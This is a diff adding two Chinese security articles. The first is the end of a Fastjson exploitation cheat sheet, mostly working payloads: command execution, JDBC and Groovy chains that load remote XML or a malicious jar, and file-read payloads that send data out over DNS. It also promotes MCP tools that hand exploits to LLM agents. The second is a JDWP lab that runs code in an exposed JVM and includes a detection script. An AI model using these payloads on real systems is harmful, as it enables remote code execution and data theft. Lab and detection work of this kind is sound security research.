0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] + }], + "x":{"$ref":"$.bOM"} +} +``` + +触发: + + +```json +{ + "@type": "java.lang.Exception", + "@type": "Tomcat678910cmdechoException" +} + + +// 添加setCmd方法,或参数为cmd的构造方法 +{ + "@type": "java.lang.Exception", + "@type": "Tomcat678910cmdechoException" + "cmd": "calc" +} +``` + +最终利用类记得继承 Exception;或者在类上加 `@JSONType`: + + +![](https://i.im.ge/QMVveiT/p2m-f1c5c54a18.png) + + + +推荐用 java-chains 生成: + + +![](https://i.im.ge/QMVJQGL/p2m-c63fb2211f.png) + + + + +![](https://i.im.ge/QMVJMbc/p2m-196392797e.png) + + + + +## PostgreSql + + + +### jackson 依赖 + + +1.2.75 < fastjson <= 1.2.80 + +jackson-core + +9.4.1208 <= org.postgresql:postgresql < 42.2.25 + +42.3.0 <= org.postgresql:postgresql < 42.3.2 + + +```json +[INFO] Step1: +{"a":"{\"@type\":\"java.lang.Exception\",\"@type\":\"com.fasterxml.jackson.core.exc.InputCoercionException\",\"p\":{}}","b":{"$ref":"$.a.a"},"c":"{\"@type\":\"com.fasterxml.jackson.core.JsonParser\",\"@type\":\"com.fasterxml.jackson.core.json.UTF8StreamJsonParser\",\"in\":{}}","d":{"$ref":"$.c.c"}} + +[INFO] Step2: + +{ + "x1": { + "@type": "java.io.InputStream", + "@type": "org.postgresql.copy.PGCopyInputStream", + "connection": { + "@type": "org.postgresql.jdbc.PgConnection", + "hostSpecs": [ + { + "host": "127.0.0.1", + "port": 2333 + } + ], + "user": "root", + "database": "root", + "info": { + "socketFactory": "org.springframework.context.support.ClassPathXmlApplicationContext", + "socketFactoryArg": "http://127.0.0.1:8080/bean.xml" + } + } + } +} +``` + +xml文件: + +```xml + + + + + + cmd + + /c + + calc + + + + + + + + +``` +可以去 java-chains 生成: + + +![](https://i.im.ge/QMVJoaG/p2m-f19b22e383.png) + + + + +### jython 依赖 + + + +```json +{ + "a":{ + "@type":"java.lang.Exception", + "@type":"org.python.antlr.ParseException", + "type":{} + }, + "b":{ + "@type":"org.python.core.PyObject", + "@type":"com.ziclix.python.sql.PyConnection", + "connection":{ + "@type":"org.postgresql.jdbc.PgConnection", + "hostSpecs":[ + { + "host":"127.0.0.1", + "port":2333 + } + ], + "user":"user", + "database":"test", + "info":{ + "socketFactory":"org.springframework.context.support.ClassPathXmlApplicationContext", + "socketFactoryArg":"http://127.0.0.1:8090/exp.xml" + }, + "url":"" + } + } +} +``` + +## MySqlJDBC + + +mysql <= 5.1.48 + +出网: + + +```json +[INFO] Step1: +{"a":"{\"@type\":\"java.lang.Exception\",\"@type\":\"com.fasterxml.jackson.core.exc.InputCoercionException\",\"p\":{}}","b":{"$ref":"$.a.a"},"c":"{\"@type\":\"com.fasterxml.jackson.core.JsonParser\",\"@type\":\"com.fasterxml.jackson.core.json.UTF8StreamJsonParser\",\"in\":{}}","d":{"$ref":"$.c.c"}} + +[INFO] Step2: + +{ + "@type": "java.io.InputStream", + "@type": "com.mysql.jdbc.CompressedInputStream", + "conn":{ + "@type": "com.mysql.jdbc.JDBC4Connection", + "hostToConnectTo": "127.0.0.1", + "portToConnectTo": 3308, + "info": { + "user": "mysql", + "password": "pass", + "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", + "autoDeserialize": "true", + "NUM_HOSTS": "1" + }, + "databaseToConnectTo": "dbname", + } +} +``` + + + +不出网,需要先写 Pipe 文件: + + +```json +[INFO] Step1: +{"a":"{\"@type\":\"java.lang.Exception\",\"@type\":\"com.fasterxml.jackson.core.exc.InputCoercionException\",\"p\":{}}","b":{"$ref":"$.a.a"},"c":"{\"@type\":\"com.fasterxml.jackson.core.JsonParser\",\"@type\":\"com.fasterxml.jackson.core.json.UTF8StreamJsonParser\",\"in\":{}}","d":{"$ref":"$.c.c"}} + +[INFO] Step2: +{"@type":"java.io.InputStream","@type":"com.mysql.jdbc.CompressedInputStream","conn":{"@type":"com.mysql.jdbc.JDBC4Connection","hostToConnectTo":"127.0.0.1","portToConnectTo":3306,"info":{"useSSL":"false","user":"mysql","HOST":"xxx","statementInterceptors":"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true","NUM_HOSTS":"1",,"socketFactory":"com.mysql.jdbc.NamedPipeSocketFactory","namedPipePath":"[Pipe_file_path]","DBNAME":"test"},"databaseToConnectTo":"test","url":""}} +``` + + + + +## groovy(出网加载 jar) + + +1.2.76 <= fastjson < 1.2.83 + + +```json +// 第一次发包 +{ + "@type":"java.lang.Exception", + "@type":"org.codehaus.groovy.control.CompilationFailedException", + "unit":{} +} + +// 第二次发包 +{ + "@type":"org.codehaus.groovy.control.ProcessingUnit", + "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit", + "config":{ + "@type":"org.codehaus.groovy.control.CompilerConfiguration", + "classpathList":"http://127.0.0.1:8090/evil.jar" + } +} +``` + +利用的是 SPI 机制,yaml 反序列化里也接触过。 + +在 `src` 下创建 `META-INF/services/org.codehaus.groovy.transform.ASTTransformation`,写入恶意类全类名。 + +然后执行(恶意 jar 名可以改): + + +```shell +javac src/artsploit/AwesomeScriptEngineFactory.java +jar -cvf yaml-payload.jar -C src/ . +``` + +java-chains 也可以直接生成: + + +![](https://i.im.ge/QMVJXAx/p2m-6b9e3bae80.png) + + + + +## aspectjtools 读文件(需回显) + + + +```json +//第一次 +{ + "@type":"java.lang.Exception", + "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException" +} + +// 第二次 +{ + "@type":"java.lang.Class", + "val":{ + "@type":"java.lang.String"{ + "@type":"java.util.Locale", + "val":{ + "@type":"com.alibaba.fastjson.JSONObject", + { + "@type":"java.lang.String" + "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException", + "newAnnotationProcessorUnits":[{}] + } + } + } + +// 第三次 +{ + "x":{ + "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit", + "@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit", + "fileName":"c:/windows/win.ini" + } +} + +// 第三次,报错回显 +{ + "@type": "java.lang.Character" { + "C": { + "x": { + "@type": "org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit", + "@type": "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit", + "fileName": "D:/flag.txt" + } + } + } +} + +// 第三次,dns回显 +{"a":{"@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit", +"fileName":"/Users/su18/Downloads/1.txt"},"b": +{"@type":"java.net.Inet4Address","val":{"@type":"java.lang.String"{"@type":"java.util.Locale", "val":{"@type":"com.alibaba.fastjson.JSONObject",{"@type": "java.lang.String""@type":"java.util.Locale", "language":{"@type":"java.lang.String"{"$ref":"$"},"country":"aw.su18.dnslog.pw"}}}}} +``` + + + + +## ognl+io 读写文件 / 目录 + + +遇见得比较少,这里不展开了,直接给链接(懒癌犯了): + +首次出现于 KCON2022 + +\[[https://github.com/knownsec/KCon/blob/master/2022/Hacking%20JSON%E3%80%90KCon2022%E3%80%91.pdf\]](https://github.com/knownsec/KCon/blob/master/2022/Hacking%20JSON%E3%80%90KCon2022%E3%80%91.pdf])([https://github.com/knownsec/KCon/blob/master/2022/Hacking](https://github.com/knownsec/KCon/blob/master/2022/Hacking) JSON【KCon2022】.pdf) + +[https://github.com/kezibei/fastjson\_payload/blob/main/src/test/Fastjson22\_ognl\_io\_read\_error\_dnslog.java](https://github.com/kezibei/fastjson_payload/blob/main/src/test/Fastjson22_ognl_io_read_error_dnslog.java) + +[https://github.com/su18/hack-fastjson-1.2.80](https://github.com/su18/hack-fastjson-1.2.80) + +读文件时要结合回显:http / DNS / 报错等;或者逐字节读,靠报错或是否发起 http 请求来判断。 + + +## ajt+xalan+dom4j+io + + +[https://github.com/kezibei/fastjson\_payload/blob/main/src/test/Fastjson21\_ajt\_xalan\_dom4j\_io\_read\_httplog.java](https://github.com/kezibei/fastjson_payload/blob/main/src/test/Fastjson21_ajt_xalan_dom4j_io_read_httplog.java) + +这些依赖组合起来比较少见,也许会在某些框架项目里碰到。受限于笔者知识,这里不深入了。 + +后面还有一系列不需要 ajt 依赖的: + +[https://github.com/kezibei/fastjson\_payload/blob/main/src/test/Fastjson27\_xalan\_dom4j\_io\_read\_error\_dnslog.java](https://github.com/kezibei/fastjson_payload/blob/main/src/test/Fastjson27_xalan_dom4j_io_read_error_dnslog.java) + + +# 相关题目 + + +[https://github.com/luelueking/CVE-2022-25845-In-Spring](https://github.com/luelueking/CVE-2022-25845-In-Spring) + +[Fastjson Decoder-docker环境下的利用](https://github.com/cwkiller/Java-Puzzle/tree/main/Fastjson%20Decoder) + + +[https://github.com/1diot9/CTFJavaChallenge/tree/main/2025/%E4%BA%AC%E9%BA%92CTF](https://github.com/1diot9/CTFJavaChallenge/tree/main/2025/京麒CTF) + +[https://mp.weixin.qq.com/s/GEGPpQ\_1nflO\_w4cefB-xA](https://mp.weixin.qq.com/s/GEGPpQ_1nflO_w4cefB-xA) + +[http://www.bmth666.cn/2022/10/19/Fastjson%E9%AB%98%E7%89%88%E6%9C%AC%E7%9A%84%E5%A5%87%E6%8A%80%E6%B7%AB%E5%B7%A7/](http://www.bmth666.cn/2022/10/19/Fastjson高版本的奇技淫巧/) + +[https://flowerwind.github.io/2025/02/28/%E5%88%86%E4%BA%AB%E4%B8%80%E6%AC%A1%E7%BB%84%E5%90%88%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98%E6%8B%BF%E4%B8%8B%E7%9B%AE%E6%A0%87/](https://flowerwind.github.io/2025/02/28/分享一次组合漏洞挖掘拿下目标/) 83版本,配合其他写文件漏洞,也能getshell + +[https://1diot9.github.io/2026/02/18/%E4%BA%AC%E9%BA%92CTF25-FastJ/](https://1diot9.github.io/2026/02/18/京麒CTF25-FastJ/) JDK11写文件漏洞在80版本的特殊利用 + + +# 相关工具 + + +Fastjson 最大的特点是:换个环境,PoC往往得改一改才能用。所以笔者这边写的工具,定位不太一样——主要给LLM/Agent 提供payload模板、标准PoC脚本和漏洞分析文档,当知识库用;把「组件识别、版本探测、依赖探测」这类相对能稳定跑通的活,交给代码。 + +现在还是demo级别,没怎么过实战,只在本地靶场测过;能力和框架基本齐了,师傅们有兴趣可以提 Issue/PR,或者自己二开。 + + +## FastjsonExpToolkit + + +[https://github.com/1diot9/FastjsonExpToolkit](https://github.com/1diot9/FastjsonExpToolkit) + +Fastjson 全版本探测 / PoC / WAF 绕过工具箱,Web UI 和 MCP(Agent)共用同一套引擎。 + +大致能力: + +1、`detect_pipeline`:识别 → 版本 → 期望类 2、`deps_probe`:依赖 / classpath 探测(Character 报错回显,可降级 Class MiscCodec,也可走 DNS) 3、`poc_catalog` / `poc_run` / `poc_script`:按版本列 gadget、生成或发送 PoC,复杂逻辑可取原脚本自己改 4、`docs_list` / `docs_get`:内置探测与各版本分析文档 5、Web 端还有 `/detect`、`/poc`、`/waf`、`/lab` 等页面,以及 Docker 靶场启停 + +推荐工作流:`detect_pipeline` → `deps_probe` → `poc_catalog` / `poc_run`;需要改脚本时走 `poc_script`。 + + +## JNDI-Exp-MCP + +[https://github.com/1diot9/JNDI-Exp-MCP](https://github.com/1diot9/JNDI-Exp-MCP) + +给 Agent 提供「起 JNDI 服务」能力的 MCP 工具。引擎基于 [kezibei/JNDIexp](https://github.com/kezibei/JNDIexp),补了内置字节码挂载。 + +同时也内置了几个测试靶场,能满足版本探测,gadget测试的功能。 + +大致流程:`catalog_list` → `jndi_start` → `bytecode_mount` / `ldap_url_build` → 把 `ldap://...` 交给上游 Fastjson PoC → `session_hits` 看命中。和 FastjsonExpToolkit 搭配时,一个负责拼链路,一个负责起 LDAP / codebase。 + + +## 其它常用 + + +文中多处 payload也可直接用 [java-chains](https://github.com/vulhub/java-chains) 生成(Currency、ioFinal、groovy、PostgreSql 等)。靶场环境可参考 [FastJsonParty](https://github.com/lemono0/FastJsonParty)。 + + +# 后记 + + +感谢前辈们的优秀文章,让我学到了不少新东西。 + +网上开源的 Fastjson 扫描工具很多都停更了,所以这边也顺手写了点(见上文「相关工具」),还很粗糙,有空再慢慢补。 + +很多 payload来自 KCON、GEEKCON 这类会议。以后有空把各种会议里和 Java 相关的 PPT 收集一下,也是一种学习方式。 + + +# 参考 + + +[springboot环境下的写文件RCE](https://mp.weixin.qq.com/s/n8RW0NIllcQ0sn3nI9uceA) + +[Fastjson高版本的奇技淫巧](http://www.bmth666.cn/2022/10/19/Fastjson高版本的奇技淫巧/index.html) + +[Fastjson反序列化漏洞复现 | Yang Hao's blog](https://yanghaoi.github.io/2024/08/18/fastjson-lou-dong-chang-jian-wa-jue-he-li-yong-fang-fa/) + +[Fastjson commons-io任意文件读写](http://www.bmth666.cn/2025/12/30/Fastjson-commons-io任意文件读写/index.html) + +[fastjson 读文件 gadget 的利用场景扩展](https://mp.weixin.qq.com/s/esjHYVm5aCJfkT6I1D0uTQ) + +[https://changeyourway.github.io/2025/08/23/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-Fastjson%201.2.68-1.2.80%20%E5%88%A9%E7%94%A8/#PostgreSQL-JDBC](https://changeyourway.github.io/2025/08/23/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-Fastjson%201.2.68-1.2.80%20%E5%88%A9%E7%94%A8/#PostgreSQL-JDBC) + +[fastjson 1.2.80 漏洞分析](https://y4er.com/posts/fastjson-1.2.80/#jdbc) + +[https://kagty1.github.io/2026/01/18/Fastjson%201.2.80%20%E8%AF%BB%E5%86%99%E6%96%87%E4%BB%B6%20&%20SpringBoot%E5%88%A9%E7%94%A8%20&%20Postgresql%E5%88%A9%E7%94%A8\_cos/#postgresql-%E5%88%A9%E7%94%A8](https://kagty1.github.io/2026/01/18/Fastjson%201.2.80%20%E8%AF%BB%E5%86%99%E6%96%87%E4%BB%B6%20&%20SpringBoot%E5%88%A9%E7%94%A8%20&%20Postgresql%E5%88%A9%E7%94%A8_cos/#postgresql-%E5%88%A9%E7%94%A8) + +[GitHub - lemono0/FastJsonParty](https://github.com/lemono0/FastJsonParty) + +[炒冷饭之FastJson](https://mp.weixin.qq.com/s/7c_zi5Pv4a69IV0zzJo5Ww) + +[Ghost Bits详解](https://mp.weixin.qq.com/s/fIvmKkT6e8d8PY5OruG4mw) + +[fastjson 1.2.80的一些小链](https://mp.weixin.qq.com/s/bGtqCFElmWtLrOY5GWRrbg) + +[Fastjson 1.2.83 checkAutoType 绕过 RCE 复现总结-先知社区](https://xz.aliyun.com/news/92550) + +[fastjson 1.2.83 JSONType RCE详解](https://mp.weixin.qq.com/s/_4Tnren1hIBToZvHlaKq8w) + +[奇安信攻防社区-手撕 FastJson 1.2.83 RCE 原理](https://forum.butian.net/share/5001) diff --git a/books/JDWP 远程调试协议在容器环境中的暴露面与利用链构造.md b/books/JDWP 远程调试协议在容器环境中的暴露面与利用链构造.md new file mode 100644 index 0000000..649c9ec --- /dev/null +++ b/books/JDWP 远程调试协议在容器环境中的暴露面与利用链构造.md @@ -0,0 +1,794 @@ +# JDWP 远程调试协议在容器环境中的暴露面与利用链构造 +> 来源:https://xz.aliyun.com/news/92538 + +JDWP(Java Debug Wire Protocol)是 JVM 调试器与被调试进程之间的通信协议,通常通过 `-agentlib:jdwp` 启用。它不是 Web 入口,也不是业务框架组件;一旦以服务端模式监听 TCP 端口,连接方进入的是 JVM 调试面,而不是应用认证面。协议握手阶段没有密码、令牌、证书或挑战响应,网络可达就能开始调试会话。 + + +## 一. 创建实验环境 + + +实验环境: + + +```bash +docker --version +docker compose version +java -version +jdb -help | head -n 3 +python3 --version +``` + +![image.png](https://i.im.ge/QMVnkkf/p2m-66a7dadae1.png) + + + +创建App.java: + + +```bash +mkdir -p jdwp-container-lab/src +cd jdwp-container-lab +cat > src/App.java <<'JAVA' +import com.sun.net.httpserver.HttpExchange; +import com.sun.net.httpserver.HttpServer; +import java.io.IOException; +import java.io.OutputStream; +import java.net.InetSocketAddress; +import java.nio.charset.StandardCharsets; + +public class App { + public static void main(String[] args) throws Exception { + HttpServer server = HttpServer.create(new InetSocketAddress("0.0.0.0", 8080), 0); + server.createContext("/ping", App::handlePing); + server.start(); + System.out.println("demo service started on 8080"); + } + + static void handlePing(HttpExchange exchange) throws IOException { + byte[] body = "pong\n".getBytes(StandardCharsets.UTF_8); + exchange.sendResponseHeaders(200, body.length); + try (OutputStream os = exchange.getResponseBody()) { + os.write(body); + } + } +} +JAVA +``` + +创建Dockerfile: + + +```bash +cat > Dockerfile <<'DOCKER' +FROM eclipse-temurin:21-jdk +WORKDIR /app +COPY src/App.java /app/App.java +RUN javac -g /app/App.java +EXPOSE 8080 5005 +CMD ["java", "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005", "App"] +DOCKER +``` + +`javac` 默认会生成源码与行号调试信息,但为了让 `jdb locals` 更稳定地显示方法参数,镜像内显式使用 `-g` 编译 + +构建镜像: + + +```bash +docker build -t jdwp-container-lab:unsafe . +``` + +![image.png](https://i.im.ge/QMVnpjr/p2m-2cb7861641.png) + + + +启动容器,业务端口映射到 `8080`,调试端口映射到 `5005`: + + +```bash +docker rm -f jdwp-lab 2>/dev/null || true +docker run -d --name jdwp-lab -p 8080:8080 -p 5005:5005 jdwp-container-lab:unsafe +docker logs jdwp-lab +``` + + + + +![image.png](https://i.im.ge/QMVnHFm/p2m-b0d716b5d0.png) + + + +验证业务接口: + + +```bash +curl -s http://127.0.0.1:8080/ping +``` + +![image.png](https://i.im.ge/QMVnVqP/p2m-e161a273a0.png) + + + +`curl` 返回 `pong` 证明业务服务同时处于可访问状态。 + + +## 二. JDWP 参数与端口发布证据 + + + +![image.png](https://i.im.ge/QMVnft1/p2m-7db017ddca.png) + + + +JDWP 暴露链路 + +JDK 21 中触发本实验暴露面的参数是: + + +```latex +-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 +``` + +各字段含义如下: + + +```latex +transport=dt_socket 使用 TCP socket 作为调试传输层 +server=y JVM 作为调试服务端监听连接 +suspend=n JVM 启动后不等待调试器,业务直接运行 +address=*:5005 监听所有网卡的 5005 端口 +``` + +`server=y` 决定 JVM 作为调试服务端,`address=*:5005` 决定监听地址不只限于回环接口。容器启动时再使用 `-p 5005:5005`,调试端口就从容器网络命名空间发布到宿主机入口。 + +查看容器端口映射: + + +```bash +docker port jdwp-lab +``` + +![image.png](https://i.im.ge/QMVnnT0/p2m-67212e8e1f.png) + + + +查看镜像命令: + + +```bash +docker image inspect jdwp-container-lab:unsafe --format '{{json .Config.Cmd}}' +``` + +![image.png](https://i.im.ge/QMVn4UT/p2m-c74fab16c4.png) + + + +查看运行期进程命令行: + + +```bash +docker exec jdwp-lab sh -c "tr '\000' ' ' < /proc/1/cmdline" +``` + +![image.png](https://i.im.ge/QMVnvRW/p2m-605691ffe2.png) + + + +查看 Docker 发布端口的结构化信息: + + +```bash +docker inspect jdwp-lab --format '{{json .NetworkSettings.Ports}}' +``` + +![image.png](https://i.im.ge/QMVnB3c/p2m-2af97e530e.png) + + + +`HostIp` 为 `0.0.0.0` 时,表示 Docker 在宿主机所有地址上绑定该端口。实际可达范围还取决于宿主机防火墙、云安全组、节点网络策略和上层代理,但容器层面的发布事实已经成立。 + + +```latex +address=*:5005 监听所有可用地址,容器外可通过端口发布访问 +address=127.0.0.1:5005 监听容器内回环地址,容器外通常不可直接访问 +address=5005 不指定主机部分;不同 JDK/配置下不应当作外部暴露写法使用 +``` + +## 三. 明文握手验证 + + +JDWP 建连的第一个动作是固定字符串握手。客户端发送: + + +```latex +JDWP-Handshake +``` + +服务端如果返回同样字符串,说明该 TCP 端口接受 JDWP 调试连接。 + +创建握手验证脚本 jdwp\_handshake.py: + + +```bash +cat > jdwp_handshake.py <<'PY' +#!/usr/bin/env python3 +import socket +import sys + +host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" +port = int(sys.argv[2]) if len(sys.argv) > 2 else 5005 +payload = b"JDWP-Handshake" + +try: + with socket.create_connection((host, port), timeout=3) as s: + s.sendall(payload) + data = s.recv(len(payload)) +except OSError as exc: + print(f"[FAIL] connect {host}:{port}: {exc.__class__.__name__}: {exc}") + sys.exit(2) + +print(data.decode("ascii", errors="replace")) +print(data.hex(" ")) + +if data == payload: + print(f"[OK] JDWP handshake confirmed on {host}:{port}") + sys.exit(0) + +print(f"[WARN] TCP is reachable, but response is not JDWP handshake on {host}:{port}") +sys.exit(1) +PY +python3 jdwp_handshake.py 127.0.0.1 5005 +``` + +执行脚本 + + +```bash +python3 jdwp_handshake.py 127.0.0.1 5005 +``` + +![image.png](https://i.im.ge/QMVnG4L/p2m-bde61e5973.png) + + + +十六进制输出对应 ASCII 字符串 `JDWP-Handshake`。验证了协议身份,不发送断点、线程、类加载等调试指令。 + + +## 四. jdb 连接与线程挂起 + + +连接 JDWP 端口: + + +```bash +jdb -attach 127.0.0.1:5005 +``` + +![image.png](https://i.im.ge/QMV4MqG/p2m-544385e2b8.png) + + + +查看线程: + + +```latex +threads +``` + +![image.png](https://i.im.ge/QMV4XFJ/p2m-44ffaccb6c.png) + + + +设置 `App.handlePing` 方法断点: + + +```latex +stop in App.handlePing +``` + +![image.png](https://i.im.ge/QMV4Qtx/p2m-15b43dced3.png) + + + +另开一个终端触发业务路径: + + +```bash +curl -v http://127.0.0.1:8080/ping +``` + +`curl` 会在请求发出后等待响应。回到 `jdb` 终端,命中断点: + + +![image.png](https://i.im.ge/QMV4Tza/p2m-697e834046.png) + + + +此时 HTTP 请求尚未返回,因为处理请求的 `HTTP-Dispatcher` 线程被调试器挂起。 + +查看当前调用栈: + + +```latex +where +``` + +![image.png](https://imglink.cc/cdn/kYA0baGye_.png) + + + +查看本地变量: + + +```latex +locals +``` + +![image.png](https://i.im.ge/QMV4ljy/p2m-4f4739898f.png) + + + + +## 五. JVM 内方法调用 + + +断点命中后,`jdb eval` 会在被挂起线程上下文中求值。先读取请求 URI,验证求值发生在当前 HTTP 请求上下文中: + + +```latex +eval exchange.getRequestURI().toString() +``` + +![image.png](https://i.im.ge/QMV4OU6/p2m-868c92f26d.png) + + + +读取 JVM 工作路径: + + +```latex +eval java.lang.System.getProperty("user.dir") +``` + +![image.png](https://imglink.cc/cdn/ACth393eyV.png) + + + +读取 Java 版本: + + +```latex +eval java.lang.System.getProperty("java.version") +``` + +![image.png](https://i.im.ge/QMV4rWS/p2m-93c5e11c7b.png) + + + +创建容器内标记文件,不依赖外部系统命令: + + +```latex +eval new java.io.File("/tmp/jdwp_marker").createNewFile() +``` + +![image.png](https://i.im.ge/QMV4FTz/p2m-7dbe29db7f.png) + + + +继续目标线程: + + +```latex +cont +``` + +`curl` 终端随即收到响应: + + +![image.png](https://i.im.ge/QMV4qyX/p2m-0c3299b612.png) + + + +验证文件由 Java 进程创建: + + +```bash +docker exec jdwp-lab ls -l /tmp/jdwp_marker +``` + +![image.png](https://i.im.ge/QMV41YF/p2m-738dacdba8.png) + + + +默认 `eclipse-temurin:21-jdk` 镜像中的进程通常以 root 身份运行,这一点说明 JDWP 调用继承的是目标 JVM 进程权限,而不是连接方主机用户权限。 + + +## 六. 本地 Docker 检测 + + +检查Docker 容器提取容器命令行、环境变量和端口发布信息,定位 JDWP 参数与常见调试端口映射。 + +创建detect\_jdwp\_docker.py: + + +```bash +cat > detect_jdwp_docker.py <<'PY' +#!/usr/bin/env python3 +import json +import subprocess +import sys + +JDWP_MARKERS = ("jdwp", "dt_socket") +SUSPICIOUS_PORTS = {"5005", "8000"} + + +def run(args): + return subprocess.check_output(args, text=True, stderr=subprocess.DEVNULL).strip() + + +def try_run(args): + try: + return run(args) + except Exception: + return "" + + +def join_value(value): + if value is None: + return "" + if isinstance(value, list): + return " ".join(str(v) for v in value) + return str(value) + + +def contains_jdwp(text): + low = text.lower() + return any(marker in low for marker in JDWP_MARKERS) + + +def main(): + ids = try_run(["docker", "ps", "-q"]).splitlines() + if not ids: + print("no running containers") + return + + for cid in ids: + raw = run(["docker", "inspect", cid]) + meta = json.loads(raw)[0] + name = meta.get("Name", "").lstrip("/") or cid[:12] + config = meta.get("Config", {}) or {} + network = meta.get("NetworkSettings", {}) or {} + ports = network.get("Ports", {}) or {} + + image_cmd = " ".join([ + join_value(config.get("Entrypoint")), + join_value(config.get("Cmd")), + ]).strip() + 